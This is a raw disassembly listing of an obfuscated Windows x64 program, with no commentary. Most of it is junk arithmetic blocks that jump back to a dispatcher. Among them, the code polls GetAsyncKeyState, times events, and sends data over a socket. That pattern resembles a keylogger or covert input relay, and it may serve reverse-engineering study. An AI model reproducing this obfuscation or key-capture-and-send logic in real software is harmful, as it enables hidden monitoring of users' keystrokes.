movsd xmm6, qword [0x1400087d8]
movsd xmm7, qword [0x1400087d0]
mov r14, qword [rsp + 0x70]
nop word [rax + rax]
push rax
pushf
mov eax, 0xd1195b9d
pushf
not eax
add eax, 0xfd6e8be6
xor eax, 0xa934210b
rol eax, 0x67
popf
pushf
not eax
add eax, 0x8cb4fefc
xor eax, 0xdc2d0d39
rol eax, 0xf4
popf
jmp 0x14001a161
mov ecx, 0xa854c7c2
pushf
not ecx
add ecx, 0xdaea6c87
xor ecx, 0xb1e074a2
rol ecx, 0x69
popf
pushf
not ecx
add ecx, 0x9c1bccd7
xor ecx, 0x9894fd09
rol ecx, 0x2e
popf
pushf
not ecx
add ecx, 0x99f0661f
xor ecx, 0x8552f67f
rol ecx, 0x4d
popf
pushf
not ecx
add ecx, 0xdbd730dd
xor ecx, 0xbf239d4f
rol ecx, 0x48
popf
jmp 0x14001b6ab
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x14001b711
push rax
pushf
mov eax, 0x5fef6536
pushf
not eax
add eax, 0x82c1fec2
xor eax, 0xa0f77a84
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xf2ab9202
xor eax, 0xbc32c3da
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xf66bfa16
xor eax, 0xdeeb340d
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xdf0dab0a
xor eax, 0xa8e6197b
rol eax, 0x33
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x37d88def
pushf
not eax
add eax, 0xd0cf2598
xor eax, 0xe67cc325
rol eax, 0x98
popf
pushf
not eax
add eax, 0x9d4361c1
xor eax, 0xa4d89e8a
rol eax, 0x98
popf
pushf
not eax
add eax, 0x9adb4a57
xor eax, 0xfbeb184d
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xff83ead1
xor eax, 0xeb8d1d46
rol eax, 0xc2
popf
jmp 0x14001a161
mov ecx, 0x3d88150
pushf
not ecx
add ecx, 0x85805b34
xor ecx, 0xbb5365be
rol ecx, 0x6a
popf
pushf
not ecx
add ecx, 0xd0942ea6
xor ecx, 0xfcfab9ba
rol ecx, 0xce
popf
jmp 0x14001b79a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
jne 0x14001b800
push rax
pushf
mov eax, 0x80a0e640
pushf
not eax
add eax, 0xfe934158
xor eax, 0xbf5eaaf5
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xcae6c769
xor eax, 0x8afcd27d
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xa1754e38
xor eax, 0xf93d847d
rol eax, 0x70
popf
pushf
not eax
add eax, 0x9ce7f4c4
xor eax, 0xb05e6cf2
rol eax, 0x72
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x960b05a1
pushf
not eax
add eax, 0x96cc3cde
xor eax, 0xa8cc7296
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xa06a3291
xor eax, 0xd749c3f4
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xd34b9b3a
xor eax, 0xdff61939
rol eax, 0xae
popf
pushf
not eax
add eax, 0xb748db56
xor eax, 0xe00e9edb
rol eax, 0x4a
popf
jmp 0x14001a161
mov ecx, 0x78633670
pushf
not ecx
add ecx, 0xcef2182f
xor ecx, 0xffcc8cf5
rol ecx, 0xb7
popf
pushf
not ecx
add ecx, 0xb598bc47
xor ecx, 0xf25d7627
rol ecx, 0x9e
popf
pushf
not ecx
add ecx, 0xf5210d77
xor ecx, 0xf5bae229
rol ecx, 0xd4
popf
jmp 0x14001b89e
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x14001b8de
push rax
pushf
mov eax, 0x2b291d14
pushf
not eax
add eax, 0xd2ea5b5f
xor eax, 0xa77aa1d6
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x848e86d4
xor eax, 0xe88dcbf4
rol eax, 0x9d
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x37ad17bf
pushf
not eax
add eax, 0xa13168d2
xor eax, 0x909b2408
rol eax, 0x53
popf
pushf
not eax
add eax, 0xe06385fb
xor eax, 0xe2a432c4
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xc5b3e3d4
xor eax, 0x8cc48215
rol eax, 0x79
popf
jmp 0x14001a161
test rbx, rbx
je 0x14001b982
push rax
pushf
mov eax, 0x3cac5a9e
pushf
not eax
add eax, 0xd72c22ce
xor eax, 0xb163c7ed
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xac8188d4
xor eax, 0xb070120a
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xcb2401e7
xor eax, 0xf28861b2
rol eax, 0
popf
pushf
not eax
add eax, 0xe27902cf
xor eax, 0xeabeacf2
rol eax, 0xc0
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x7ef16ac5
pushf
not eax
add eax, 0x960ea5f2
xor eax, 0x83827a15
rol eax, 0x16
popf
pushf
not eax
add eax, 0xa11860e6
xor eax, 0x84f553ff
rol eax, 0x38
popf
pushf
not eax
add eax, 0xb7351932
xor eax, 0xcc5e02c7
rol eax, 0x15
popf
jmp 0x14001a161
mov rcx, rbx
call fcn.14001561e
push rax
pushf
mov eax, 0xc5a0f16e
pushf
not eax
add eax, 0xa3b02c79
xor eax, 0xae63365c
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xae9f0763
xor eax, 0xb520d9fc
rol eax, 0x69
popf
pushf
not eax
add eax, 0xf89bcc67
xor eax, 0x86fce881
rol eax, 0xec
popf
jmp 0x14001a161
mov ecx, 0x6d23ebb0
pushf
not ecx
add ecx, 0x900c3b73
xor ecx, 0xc5621d38
rol ecx, 9
popf
pushf
not ecx
add ecx, 0xe1df914c
xor ecx, 0x9f3cb663
rol ecx, 0xf5
popf
pushf
not ecx
add ecx, 0xbe45f9b1
xor ecx, 0xb85da5d4
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0xda53363f
xor ecx, 0xdd430f98
rol ecx, 0x3b
popf
jmp 0x14001ba70
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x14001bab4
push rax
pushf
mov eax, 0xd75f4489
pushf
not eax
add eax, 0xed89c436
xor eax, 0xf8a283ad
rol eax, 0x89
popf
pushf
not eax
add eax, 0xc5d4e48f
xor eax, 0xb3dce087
rol eax, 0x7f
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xed7cef51
pushf
not eax
add eax, 0xc49de924
xor eax, 0x9303ce9b
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x8b4c9fdc
xor eax, 0xf49142fb
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xac23b0c9
xor eax, 0xd065730f
rol eax, 0x62
popf
jmp 0x14001a161
mov r8d, 0xcb6090c5
pushf
not r8d
add r8d, 0xb93d8947
xor r8d, 0xad11750e
rol r8d, 0xd1
popf
pushf
not r8d
add r8d, 0xf90b05aa
xor r8d, 0xfd358fe9
rol r8d, 0x99
popf
pushf
not r8d
add r8d, 0xdae01c90
xor r8d, 0xba9bae10
rol r8d, 0x51
popf
pushf
not r8d
add r8d, 0x8f5c1a32
xor r8d, 0x868aae26
rol r8d, 0x65
popf
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140011b06
mov rbx, rax
lea rax, [rsp + 0x70]
cmp rax, rbx
je 0x14001bbc6
push rax
pushf
mov eax, 0xe502beb1
pushf
not eax
add eax, 0x91a918d2
xor eax, 0xb0126a69
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x88034ab4
xor eax, 0xc8b8b6fd
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xa199adb3
xor eax, 0xf16fb389
rol eax, 0xf9
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x3728e433
pushf
not eax
add eax, 0xbc73748a
xor eax, 0xc1707a2e
rol eax, 0x62
popf
pushf
not eax
add eax, 0xc6c2e70f
xor eax, 0xff7eb758
rol eax, 0x99
popf
pushf
not eax
add eax, 0xb29035f8
xor eax, 0xecd634df
rol eax, 0x96
popf
pushf
not eax
add eax, 0x865b0205
xor eax, 0xf54036cf
rol eax, 0x6c
popf
jmp 0x14001a161
test r14, r14
je 0x14001bc7d
push rax
pushf
mov eax, 0xfad545be
pushf
not eax
add eax, 0xa8ccea55
xor eax, 0xc0680ef8
rol eax, 0x14
popf
pushf
not eax
add eax, 0xaef2055e
xor eax, 0xa475eb13
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf92e2429
xor eax, 0xca119398
rol eax, 0x13
popf
pushf
not eax
add eax, 0x82a75300
xor eax, 0xf8555535
rol eax, 0xa8
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xa5806555
pushf
not eax
add eax, 0x841f970d
xor eax, 0xf454faea
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xffeb9a43
xor eax, 0xbb476b9a
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xf967588b
xor eax, 0xfd367500
rol eax, 0xdb
popf
jmp 0x14001a161
sub rsi, r14
and rsi, 0xfffffffffffffffc
mov rax, r14
cmp rsi, 0x1000
jb 0x14001bd1c
push rax
pushf
mov eax, 0x87d885be
pushf
not eax
add eax, 0xc0b48cf0
xor eax, 0xf9ef0cfe
rol eax, 0x88
popf
pushf
not eax
add eax, 0xa5292b33
xor eax, 0xe3cd1877
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xfd41da64
xor eax, 0xc8b2b84b
rol eax, 0xb4
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x40d69549
pushf
not eax
add eax, 0x873f0eb5
xor eax, 0xb87aa51c
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xdc1d0891
xor eax, 0xa4c64b22
rol eax, 0xec
popf
pushf
not eax
add eax, 0xb2276f8e
xor eax, 0xe3c56fc4
rol eax, 0xfa
popf
jmp 0x14001a161
add rsi, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bdae
push rax
pushf
mov eax, 0x8e2fa635
pushf
not eax
add eax, 0xfe81a75d
xor eax, 0x9a7a9450
rol eax, 0x37
popf
pushf
not eax
add eax, 0xfc05c632
xor eax, 0xb810b1e7
rol eax, 0x85
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x7f205690
pushf
not eax
add eax, 0xb68c6297
xor eax, 0x976b6283
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xe85a99d8
xor eax, 0xe9f56016
rol eax, 0x52
popf
pushf
not eax
add eax, 0xdc9005c2
xor eax, 0xdce987ff
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xfe18e19d
xor eax, 0xcfa6428d
rol eax, 2
popf
jmp 0x14001a161
mov rdx, rsi
mov rcx, r14
call fcn.140022c1a
push rax
pushf
mov eax, 0xaedeb45d
pushf
not eax
add eax, 0xc0da7b3c
xor eax, 0x8348fb30
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xa5132035
xor eax, 0xa87d8802
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe3dd20ee
xor eax, 0xf7f4b087
rol eax, 0xec
popf
jmp 0x14001a161
mov r14, qword [rbx]
mov qword [rsp + 0x70], r14
mov rax, qword [rbx + 8]
mov qword [rsp + 0x78], rax
mov rsi, qword [rbx + 0x10]
mov qword [rbp - 0x80], rsi
mov qword [rbx], r15
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
push rax
pushf
mov eax, 0x5b4b2a6b
pushf
not eax
add eax, 0xff51d1e9
xor eax, 0x9cacd919
rol eax, 0x52
popf
pushf
not eax
add eax, 0xe7a4b214
xor eax, 0xee13c72a
rol eax, 0x7a
popf
jmp 0x14001a161
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14001beec
push rax
pushf
mov eax, 0x6a3c1585
pushf
not eax
add eax, 0xf69e9b74
xor eax, 0x9acb0cf7
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xea9d9dfe
xor eax, 0xd186f654
rol eax, 0x3c
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xa73351de
pushf
not eax
add eax, 0xd7421995
xor eax, 0xf25f1c9c
rol eax, 0x83
popf
pushf
not eax
add eax, 0xf4f69f69
xor eax, 0xe2678c12
rol eax, 0x77
popf
jmp 0x14001a161
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
and rdx, 0xfffffffffffffffc
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bf90
push rax
pushf
mov eax, 0x84735963
pushf
not eax
add eax, 0x985bc948
xor eax, 0xb2e8083d
rol eax, 0x58
popf
pushf
not eax
add eax, 0xa0f8cd43
xor eax, 0x9707ee16
rol eax, 0xb
popf
pushf
not eax
add eax, 0x98ea8eb2
xor eax, 0xafe4c672
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xddae4482
xor eax, 0x91fffe65
rol eax, 0xb2
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xe7e63fa7
pushf
not eax
add eax, 0xf8161bd1
xor eax, 0x86a86596
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xd8472cbc
xor eax, 0xb7156317
rol eax, 0x66
popf
pushf
not eax
add eax, 0x97676fd5
xor eax, 0xb163e79b
rol eax, 0x1b
popf
jmp 0x14001a161
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c022
push rax
pushf
mov eax, 0x8c89b158
pushf
not eax
add eax, 0xb6c1de51
xor eax, 0xa2fbe6f8
rol eax, 0x12
popf
pushf
not eax
add eax, 0xef61d4ea
xor eax, 0xc75fb192
rol eax, 0xdf
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x1874fc3c
pushf
not eax
add eax, 0x814fe229
xor eax, 0xbde1bfcd
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xae16c737
xor eax, 0x8c41f5dc
rol eax, 0x37
popf
jmp 0x14001a161
call fcn.140022c1a
push rax
pushf
mov eax, 0x7167df0e
pushf
not eax
add eax, 0x8cd84a8e
xor eax, 0xb1e04289
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa31d1a28
xor eax, 0xe5c7f9d6
rol eax, 0x64
popf
jmp 0x14001a161
mov eax, dword [r14]
test eax, eax
jne 0x14001c0da
push rax
pushf
mov eax, 0xc256e3e7
pushf
not eax
add eax, 0x8cb5d6cf
xor eax, 0xfed47dba
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xc5f3ba7b
xor eax, 0xe7376aec
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xc567f9b1
xor eax, 0x9d980742
rol eax, 0x3d
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xfcf3218d
pushf
not eax
add eax, 0xbcd70eb9
xor eax, 0xac19c51d
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xf63aecea
xor eax, 0xeed46b5d
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb133868e
xor eax, 0xb09d1f29
rol eax, 0x35
popf
pushf
not eax
add eax, 0x87c7e54b
xor eax, 0xeacd31c5
rol eax, 0xb1
popf
jmp 0x14001a161
cmp dword [r14 + 4], eax
je 0x14001c192
push rax
pushf
mov eax, 0x787d66e0
pushf
not eax
add eax, 0x90e8762a
xor eax, 0xe7a6248c
rol eax, 0x97
popf
pushf
not eax
add eax, 0xe479be2c
xor eax, 0xc22bcd2d
rol eax, 0xf
popf
pushf
not eax
add eax, 0xd2744c14
xor eax, 0xd23d0e9a
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xc9835037
xor eax, 0x8d7dcb5d
rol eax, 0xb7
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xb88d2f5a
pushf
not eax
add eax, 0x82941f12
xor eax, 0xd55e7f79
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xe4d208d8
xor eax, 0xf7093833
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd5ac95b6
xor eax, 0xb7a9925a
rol eax, 0x32
popf
jmp 0x14001a161
mov dword [rbp + 0x170], eax
mov eax, dword [r14 + 4]
mov dword [rbp + 0x174], eax
mov dword [rbp + 0x178], r15d
xor r9d, r9d
mov r8d, 0xa5d15120
pushf
not r8d
add r8d, 0xbf0c6786
xor r8d, 0x852038f4
rol r8d, 0xc4
popf
pushf
not r8d
add r8d, 0x94afe35a
xor r8d, 0xe2fcfa40
rol r8d, 0xe6
popf
lea rdx, [rbp + 0x170]
mov rcx, qword [0x14000b0b8]
jmp 0x14001c239
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14001c277
push rax
pushf
mov eax, 0xd64f640
pushf
not eax
add eax, 0xed0593ae
xor eax, 0xf8e2fc69
rol eax, 0xa
popf
pushf
not eax
add eax, 0x9d06ee17
xor eax, 0x93828d79
rol eax, 0xf7
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x30169cbe
pushf
not eax
add eax, 0xf99f96bf
xor eax, 0xc41ee410
rol eax, 0x29
popf
pushf
not eax
add eax, 0xb6370895
xor eax, 0xdf4135bd
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x848197eb
xor eax, 0xdd0a8691
rol eax, 0x45
popf
jmp 0x14001a161
lea rdx, [0x1a2232718]
pushf
sub rdx, 0x6222a138
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001fe7a
mov rbx, rax
jmp 0x14001c2df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x14001c2eb
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1b2badbf2]
pushf
sub rdx, 0x72baaaa2
popf
mov rcx, rax
jmp 0x14001c307
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0xed9d694f
pushf
not eax
add eax, 0x91249731
xor eax, 0xb92eaca5
rol eax, 0x54
popf
pushf
not eax
add eax, 0xc8dcfc0c
xor eax, 0xb49b7873
rol eax, 0x38
popf
jmp 0x14001a161
lea rcx, [rsp + 0x60]
call fcn.140013141
test al, al
je 0x14001c3a7
push rax
pushf
mov eax, 0xc3925e33
pushf
not eax
add eax, 0xe37ffa4f
xor eax, 0xa8538fe6
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb1e1e691
xor eax, 0xc68180aa
rol eax, 0x42
popf
pushf
not eax
add eax, 0x9c3677fc
xor eax, 0xd027ce73
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xac86a9d4
xor eax, 0xe715a397
rol eax, 0xd7
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x85068d3f
pushf
not eax
add eax, 0xaa3e3a0e
xor eax, 0xfea8a70a
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe451d426
xor eax, 0xd3d49a07
rol eax, 0x95
popf
pushf
not eax
add eax, 0xa2f1e774
xor eax, 0x970d94df
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc8c030f0
xor eax, 0xfae9c172
rol eax, 0xe7
popf
jmp 0x14001a161
mov qword [rbp - 0x78], r15
mov qword [rsp + 0x68], r15
lea rcx, [rsp + 0x68]
jmp 0x14001c40f
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rbp - 0x78]
jmp 0x14001c41a
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x78]
sub rax, qword [rbp - 0x70]
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
mulsd xmm1, xmm6
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rsp + 0x68]
divsd xmm1, xmm0
comisd xmm1, xmm7
ja 0x14001c47b
push rax
pushf
mov eax, 0xeaa29dd5
pushf
not eax
add eax, 0xd7f9493a
xor eax, 0xb0dafe40
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x8120ce7f
xor eax, 0xeee78854
rol eax, 0x91
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xc6336818
pushf
not eax
add eax, 0xa9f85fc7
xor eax, 0xee898142
rol eax, 5
popf
pushf
not eax
add eax, 0xd7df12fc
xor eax, 0x9a30357a
rol eax, 0xe6
popf
jmp 0x14001a161
nop dword [rax]
push rax
pushf
mov eax, 0x421ed1f0
pushf
not eax
add eax, 0xb48ef374
xor eax, 0x956e256a
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xa0b3718c
xor eax, 0xbde3d4a5
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xcfbde19c
xor eax, 0x8a1ff54f
rol eax, 6
popf
pushf
not eax
add eax, 0x8bff52eb
xor eax, 0x83c31e84
rol eax, 0x6d
popf
jmp 0x14001a161
mov rbx, qword [rsp + 0x60]
jmp 0x14001b651
mov qword [rbp + 0x180], r15
mov dword [rbp + 0x188], 1
xor r9d, r9d
mov r8d, 0x29631cb5
pushf
not r8d
add r8d, 0xac45755c
xor r8d, 0xbe778532
rol r8d, 0xbc
popf
pushf
not r8d
add r8d, 0xf4b71d6b
xor r8d, 0xb08dbf91
rol r8d, 0xed
popf
lea rdx, [rbp + 0x180]
mov rcx, qword [0x14000b0b8]
jmp 0x14001c5b6
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14001c5f4
push rax
pushf
mov eax, 0xc36f27ea
pushf
not eax
add eax, 0xa03a4dd2
xor eax, 0xd063b8b3
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xcb817d91
xor eax, 0xe059184c
rol eax, 0xce
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xc182da93
pushf
not eax
add eax, 0x95d0ca48
xor eax, 0xa73afb99
rol eax, 0x34
popf
pushf
not eax
add eax, 0x9a68be99
xor eax, 0xb67088f7
rol eax, 0x40
popf
pushf
not eax
add eax, 0x9a724d11
xor eax, 0xb893cd40
rol eax, 0xf4
popf
jmp 0x14001a161
lea rdx, [0x19cf05c51]
pushf
sub rdx, 0x5cefd671
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001fe7a
mov rbx, rax
jmp 0x14001c65c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x14001c668
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1b04fcff4]
pushf
sub rdx, 0x704f9ea4
popf
mov rcx, rax
jmp 0x14001c684
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
push rax
pushf
mov eax, 0x50dd8254
pushf
not eax
add eax, 0xa2bb312b
xor eax, 0xd779aa20
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xe3c63236
xor eax, 0xd5069238
rol eax, 0xa
popf
pushf
not eax
add eax, 0x8b9d5cf9
xor eax, 0xe187908d
rol eax, 0x15
popf
jmp 0x14001a161
lea rcx, [rbp - 0x70]
jmp 0x14001c6d5
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rbx, qword [rsp + 0x60]
jmp 0x14001b651
mov ecx, 0xf7ea5ef
pushf
not ecx
add ecx, 0x98951f5c
xor ecx, 0xe55de662
rol ecx, 0x82
popf
pushf
not ecx
add ecx, 0xd27c5b93
xor ecx, 0x90308f74
rol ecx, 0x44
popf
pushf
not ecx
add ecx, 0xa227c1c8
xor ecx, 0xa1939b0e
rol ecx, 0x37
popf
pushf
not ecx
add ecx, 0xae6eaf76
xor ecx, 0xbd58dee3
rol ecx, 0x74
popf
jmp 0x14001c772
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
test al, 1
je 0x14001c7dc
push rax
pushf
mov eax, 0x4470db65
pushf
not eax
add eax, 0xab907b4e
xor eax, 0xed17c15a
rol eax, 0xd
popf
pushf
not eax
add eax, 0xa93abf0a
xor eax, 0xb1a92ead
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xbd4580dd
xor eax, 0x82034c6b
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf94dcfc4
xor eax, 0xf57f0bb3
rol eax, 0xbf
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xb0aea2bd
pushf
not eax
add eax, 0x91ad8438
xor eax, 0xd1587437
rol eax, 0x74
popf
pushf
not eax
add eax, 0xecaade36
xor eax, 0x97d7c94c
rol eax, 0x99
popf
jmp 0x14001a161
cvttsd2si r8d, qword [0x14000b778]
add r8d, 9
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140011b06
mov rdi, rax
lea rax, [rsp + 0x70]
cmp rax, rdi
je 0x14001c891
push rax
pushf
mov eax, 0xf7682187
pushf
not eax
add eax, 0xc03a5b12
xor eax, 0xf630ab90
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xb1781605
xor eax, 0xb4c0f0e2
rol eax, 0xff
popf
pushf
not eax
add eax, 0xeec95640
xor eax, 0xcfc9ad6e
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x8be84fe7
xor eax, 0x9e7e2487
rol eax, 0x2d
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x2651f755
pushf
not eax
add eax, 0x84b5d0a2
xor eax, 0xc1c273f8
rol eax, 0x68
popf
pushf
not eax
add eax, 0x869c4a70
xor eax, 0xe4f196a0
rol eax, 0x1c
popf
jmp 0x14001a161
test r14, r14
je 0x14001c90f
push rax
pushf
mov eax, 0x5503af8e
pushf
not eax
add eax, 0x86fc2914
xor eax, 0x84aeab98
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xf1fd4dc5
xor eax, 0xb4c88e56
rol eax, 0x10
popf
pushf
not eax
add eax, 0x9a827e38
xor eax, 0x9cb36e9d
rol eax, 0x51
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x1e070d9e
pushf
not eax
add eax, 0xace62544
xor eax, 0xccb7c068
rol eax, 0xee
popf
pushf
not eax
add eax, 0xaf5204e3
xor eax, 0xb95eb44e
rol eax, 0x43
popf
jmp 0x14001a161
sub rsi, r14
and rsi, 0xfffffffffffffffc
mov rax, r14
cmp rsi, 0x1000
jb 0x14001c9ae
push rax
pushf
mov eax, 0xdb831c40
pushf
not eax
add eax, 0x9a389985
xor eax, 0xdc2bcdab
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xa8cb9ef0
xor eax, 0x8b1dc0e5
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xb9952be1
xor eax, 0xcb8ba0a6
rol eax, 0x48
popf
pushf
not eax
add eax, 0xf6624619
xor eax, 0xa68553d5
rol eax, 0x4a
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x7168db00
pushf
not eax
add eax, 0xaae49391
xor eax, 0x8428de9d
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc964695c
xor eax, 0xbd50e9a6
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xa68cf49a
xor eax, 0xbde8a8cd
rol eax, 0xf7
popf
jmp 0x14001a161
add rsi, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cfad
mov rdx, rsi
mov rcx, r14
call fcn.140022c1a
push rax
pushf
mov eax, 0xafae6bc9
pushf
not eax
add eax, 0xdb1aa82a
xor eax, 0xda513181
rol eax, 0x20
popf
pushf
not eax
add eax, 0xa5cbd8db
xor eax, 0xb24ecaf9
rol eax, 0xab
popf
jmp 0x14001a161
mov r14, qword [rdi]
mov qword [rsp + 0x70], r14
mov rax, qword [rdi + 8]
mov qword [rsp + 0x78], rax
mov rsi, qword [rdi + 0x10]
mov qword [rbp - 0x80], rsi
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
push rax
pushf
mov eax, 0xec0ba142
pushf
not eax
add eax, 0xf988a1bd
xor eax, 0xffc1d5db
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xa4916d03
xor eax, 0x8a9ba0ee
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xebdea1f8
xor eax, 0xb8f00c94
rol eax, 0x3e
popf
jmp 0x14001a161
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14001cb18
push rax
pushf
mov eax, 0xd880f1c4
pushf
not eax
add eax, 0x843f83b5
xor eax, 0xf3a484b1
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x823e7c7b
xor eax, 0xc3358c0a
rol eax, 0x60
popf
pushf
not eax
add eax, 0xc5e4381b
xor eax, 0xc9c6e7b5
rol eax, 0x98
popf
pushf
not eax
add eax, 0xd13552e3
xor eax, 0xd94d3f7d
rol eax, 0xaf
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x543dc699
pushf
not eax
add eax, 0xd1f97f9c
xor eax, 0xfb706a41
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xe4cad407
xor eax, 0xc99ce6f8
rol eax, 0xf3
popf
jmp 0x14001a161
mov rdx, qword [rsp + 0x40]
